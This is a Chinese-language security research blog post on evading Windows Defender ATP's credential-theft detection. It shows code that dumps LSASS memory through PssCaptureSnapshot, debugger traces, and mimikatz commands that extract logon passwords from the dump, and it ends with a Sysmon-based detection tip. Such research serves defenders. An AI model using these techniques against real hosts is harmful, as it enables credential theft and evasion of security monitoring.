导语:最近,我对Windows Defender Advanced Threat Protection(WDATP)如何通过统计探测从LSASS进程中读取的数据量来检测凭证转储产生了浓厚的兴趣。
最近,我对Windows Defender Advanced Threat Protection(WDATP)如何通过统计探测从LSASS进程中读取的数据量来检测凭证转储产生了浓厚的兴趣。
但是,首先需要有一点背景知识:在受WDATP保护的主机上,执行诸如mimikatz之类的标准凭据转储程序时,它会触发如下警报。
这个警报很可能是由于mimikatz在尝试访问LSASS进程时使用MiniDumpWriteDump触发的,而LSASS进程又使用ReadProcessMemory作为将数据从一个进程地址空间复制到另一个进程地址空间的方法。
接下来,ReadProcoessMemory(RPM)通过NtReadVirtualMemory执行系统调用,该调用将相同的行为复制到内核模式。
— — — — — -Userland — — — —- — — — | — — — Kernel Land — — — — RPM — > NtReadVirtualMemory --> SYSENTER->NtReadVirtualMemory Kernel32 — — -ntdll — — — — — — — — — - — — — — — ntoskrnl
然后,通过检查RPM中的nSize值,我们可以推测WDATP正在监视随时间推移读取的字节数。
BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead );
综上所述,我设计了几个的绕过进程。
首先,由于WinATP没有使用NtReadVirtualMemory挂钩,因此我们无法利用原始的Dumpert(一个使用直接系统调用和API解除连接的LSASS内存转储器),这意味着,它无法绕过WinATP缓解措施。
然后,我们尝试将取消挂钩的概念作为ReflectiveDLLRefresher技术扩展到所有其他已加载的DLL,这也导致找不到相关的挂钩。尽管最终失败了,但是这个想法却非常具有启发性。
最终,我重新考虑了整个问题,并决定采取另外一种方法,即通过PssCaptureSnapshot API访问LSASS的过程句柄,我们成功地绕过了WDATP凭据防盗器。
很快就会知道为什么会这样,但首先让我们来看看我们失败的细节,这种尝试令人大开眼界。
我们不会从头开始构建整个过程,而是利用著名的dumpert代码库。
其中,我们追求的第一种方法已由Cylance漏洞研究团队进行了探索和开发,详情请点此。这是一个相当复杂但非常有效的工具,可用于扫描进程的内存空间并取消当前正在运行的所有库。
我们已将所有相关且最有趣的代码段导入到经过修改的Dumpert版本中,仅此一项,就证明了其在防止凭证盗窃防护方面的失败。
该程序将遍历IAT表并搜索所有已加载的DLL,将它们与磁盘版本进行比较,并在运行时修补它们,以防发现挂钩。
以下是相关的代码片段,其中使用了DLL部分比较器。
VOID ScanAndFixSection(PCHAR szSectionName, PCHAR pKnown, PCHAR pSuspect, size_t stLength) { DWORD ddOldProtect; if (memcmp(pKnown, pSuspect, stLength) != 0) { wprintf(L"\t[!] Found modification in: "); printf(szSectionName); wprintf(L"\n"); if (!VirtualProtect(pSuspect, stLength, PAGE_EXECUTE_READWRITE, &ddOldProtect)) return; wprintf(L"\t[+] Copying known good section into memory.\n"); memcpy(pSuspect, pKnown, stLength); if (!VirtualProtect(pSuspect, stLength, ddOldProtect, &ddOldProtect)) wprintf(L"\t[!] Failed to reset memory permissions.\n"); } }
但是,在目标Windows10主机上运行它之后,唯一报告的差异如下。
[*] Scanning module: dbghelp.dll [!] Found modification in: .mrdata [+] Copying known good section into memory.
显然,它与ring3挂钩不太相似。另外,它还驻留在DLL部分中。
现在我们试试另一种绕过方法,利用PssCaptureSnapShot函数的继承功能。顾名思义,此API生成作为第一个参数(在本例中为LSASS)传递的句柄的进程快照转储,并返回SnapshotHandle(HPSS)。
DWORD PssCaptureSnapshot( HANDLE ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, DWORD ThreadContextFlags, HPSS *SnapshotHandle );
与PSP API相关的项目代码如下所示:
DWORD CaptureFlags = (DWORD)PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION; BOOL CALLBACK ATPMiniDumpWriteDumpCallback( __in PVOID CallbackParam, __in const PMINIDUMP_CALLBACK_INPUT CallbackInput, __inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput ) { switch (CallbackInput->CallbackType) { case 16: // IsProcessSnapshotCallback CallbackOutput->Status = S_FALSE; break; } return TRUE; } HANDLE SnapshotHandle; DWORD dwResultCode = PssCaptureSnapshot (ProcessHandle, CaptureFlags, CONTEXT_ALL, &SnapshotHandle);
当从UserLand动态迁移到KernelMode时,我们还可以探索一下API的有趣结构:
— — — — — -Userland — — — —- — — — — — — — — | — — — Kernel Land — — — — — — PssCaptureSnapShot —> PssNtCaptureSnapshot -> SYSENTER -> ntdll!NtAllocateVirtualMemory Kernel32 — — — — — — — — — — — ntdll — — — — — — — — — - - — ntoskrnl — — —
从用户模式到内核模式并不是实际的一对一转换,但是我们很快就会看到,将调用许多其他内核API。让我们通过WinDBG来更深入地了解调用如何链接在一起。如果我们向KERNEL32询问所有Pss *函数,我们只会得到stub占位符。
0:001> x KERNEL32!Pss* 00007fff`39fa62d0 KERNEL32!PssQuerySnapshotStub (<no parameter info>) 00007fff`39fa6310 KERNEL32!PssWalkMarkerSeekToBeginningStub (<no parameter info>) 00007fff`39fa6330 KERNEL32!PssWalkSnapshotStub (<no parameter info>) 00007fff`39fa62b0 KERNEL32!PssDuplicateSnapshotStub (<no parameter info>) 00007fff`39fa6300 KERNEL32!PssWalkMarkerGetPositionStub (<no parameter info>) 00007fff`39fa62f0 KERNEL32!PssWalkMarkerFreeStub (<no parameter info>) 00007fff`39fa62e0 KERNEL32!PssWalkMarkerCreateStub (<no parameter info>) 00007fff`39fa62a0 KERNEL32!PssCaptureSnapshotStub (<no parameter info>) 00007fff`39fa6320 KERNEL32!PssWalkMarkerSetPositionStub (<no parameter info>) 00007fff`39fa62c0 KERNEL32!PssFreeSnapshotStub (<no parameter info>)
我们还可以进一步验证我们感兴趣的存根是否指向其他地方:
0:001> u KERNEL32!PssCaptureSnapshotStub KERNEL32!PssCaptureSnapshotStub: 00007fff`39fa62a0 48ff25d9210400 jmp qword ptr [KERNEL32!_imp_PssCaptureSnapshot (00007fff`39fe8480)]
所以我们在存根的最开始放置一个断点,让它运行,直到我们命中它。
0:001>bp KERNEL32!PssCaptureSnapshotStub KERNELBASE!PssCaptureSnapshot: 00007fff`39a95fb0 4883ec28 sub rsp,28h 00007fff`39a95fb4 49832100 and qword ptr [r9],0 00007fff`39a95fb8 498bc1 mov rax,r9 00007fff`39a95fbb 458bc8 mov r9d,r8d 00007fff`39a95fbe 448bc2 mov r8d,edx 00007fff`39a95fc1 488bd1 mov rdx,rcx 00007fff`39a95fc4 488bc8 mov rcx,rax 00007fff`39a95fc7 48ff1522080d00 call qword ptr [KERNELBASE!_imp_PssNtCaptureSnapshot (00007fff`39b667f0)] ds:00007fff`39b667f0={ntdll!PssNtCaptureSnapshot (00007fff`3bfd03b0)}
因此,我们可以确认实际函数代码是从ntdll!PssNtCaptureSnapshot到KERNELBASE.dll的附加间接层运行的。RDX是保存我们的LSASS处理程序的实际寄存器,该寄存器作为参数传递给ntdll!PssNtCaptureSnapshot。
如果尝试进一步跟踪它,我们将进入NTDLL域。
ntdll!PssNtCaptureSnapshot: 00007fff`3bfd03b0 488bc4 mov rax,rsp 00007fff`3bfd03b3 48895808 mov qword ptr [rax+8],rbx 00007fff`3bfd03b7 44894820 mov dword ptr [rax+20h],r9d 00007fff`3bfd03bb 48895010 mov qword ptr [rax+10h],rdx
要全面了解正在发生的情况,我们可以使用 ‘wt -l 2’ WinDBG命令来获得两级深度的分层函数调用。
0:004> g Breakpoint 0 hit ntdll!PssNtCaptureSnapshot: 00007ff8`d53103b0 488bc4 mov rax,rsp 0:000> wt -l 2 Tracing ntdll!PssNtCaptureSnapshot to return address 00007ff8`d2265fce 43 0 [ 0] ntdll!PssNtCaptureSnapshot 6 0 [ 1] ntdll!NtAllocateVirtualMemory 51 6 [ 0] ntdll!PssNtCaptureSnapshot 139 0 [ 1] ntdll!memset 61 145 [ 0] ntdll!PssNtCaptureSnapshot 18 0 [ 1] ntdll!PsspCaptureProcessInformation 6 0 [ 2] ntdll!NtQueryInformationProcess [..] 276577 instructions were executed in 276576 events (0 from other threads) Function Name Invocations MinInst MaxInst AvgInst ntdll!NtAllocateVirtualMemory 2 6 6 6 ntdll!NtCreateProcessEx 1 6 6 6 ntdll!NtCreateSection 1 6 6 6 ntdll!NtMapViewOfSection 1 6 6 6 ntdll!NtQueryInformationProcess 10 6 6 6 ntdll!PssNtCaptureSnapshot 1 119 119 119 ntdll!PsspCaptureHandleInformation 1 109 109 109 ntdll!PsspCaptureHandleTrace 1 40 40 40 ntdll!PsspCaptureProcessInformation 1 97 97 97 ntdll!PsspWalkHandleTable 2 65302 210681 137991 ntdll!memset 1 139 139 139 15 system calls were executed Calls System Call 2 ntdll!NtAllocateVirtualMemory 1 ntdll!NtCreateProcessEx 1 ntdll!NtCreateSection 1 ntdll!NtMapViewOfSection 10 ntdll!NtQueryInformationProcess
毫不奇怪,ntdll!PssNtCaptureSnapshot实际上是在底层分配内存并创建一个新进程,正如我们应该从真正的进程快照程序中期望的那样。
现在,我们可以将先前生成的dumpert.dmp移到另一个框架中,并将其提供给mimikatz以提取凭证。
mimikatz # sekurlsa::minidump dumpert.dmp Switch to MINIDUMP : 'dumpert.dmp' mimikatz # sekurlsa::logonPasswords full
既然我们知道可以绕过这个特定的MDATP特性,那么我们如何才能更好地保护我们的运行环境呢?如果在Hyper-V上实现证书保护是不可能的。因此,我的建议是可以通过配置Sysmon监视LSASS并检查每个eventID 10来检测任何密码窃取工具。尽管这可能会产生误报,但这是改善影响身份验证过程的所有事件的全局可见性的好方法。